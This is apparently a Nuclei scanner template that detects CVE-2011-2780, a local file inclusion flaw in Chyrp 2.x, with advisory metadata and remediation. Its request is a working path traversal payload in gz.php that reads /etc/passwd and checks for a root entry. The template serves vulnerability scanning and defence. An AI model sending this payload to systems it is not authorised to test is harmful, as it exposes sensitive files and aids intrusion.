id: CVE-2011-2780

info:
  name: Chyrp 2.x - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in includes/lib/gz.php in Chyrp 2.0 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, a different vulnerability than CVE-2011-2744.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - http://www.justanotherhacker.com/advisories/JAHx113.txt
    - http://www.openwall.com/lists/oss-security/2011/07/13/5
    - http://www.ocert.org/advisories/ocert-2011-001.html
    - http://www.openwall.com/lists/oss-security/2011/07/13/6
    - http://securityreason.com/securityalert/8312
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/68565
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-2780
    cwe-id: CWE-22
    epss-score: 0.03327
    epss-percentile: 0.91127
    cpe: cpe:2.3:a:chyrp:chyrp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chyrp
    product: chyrp
  tags: cve,cve2011,lfi,chyrp

http:
  - method: GET
    path:
      - "{{BaseURL}}/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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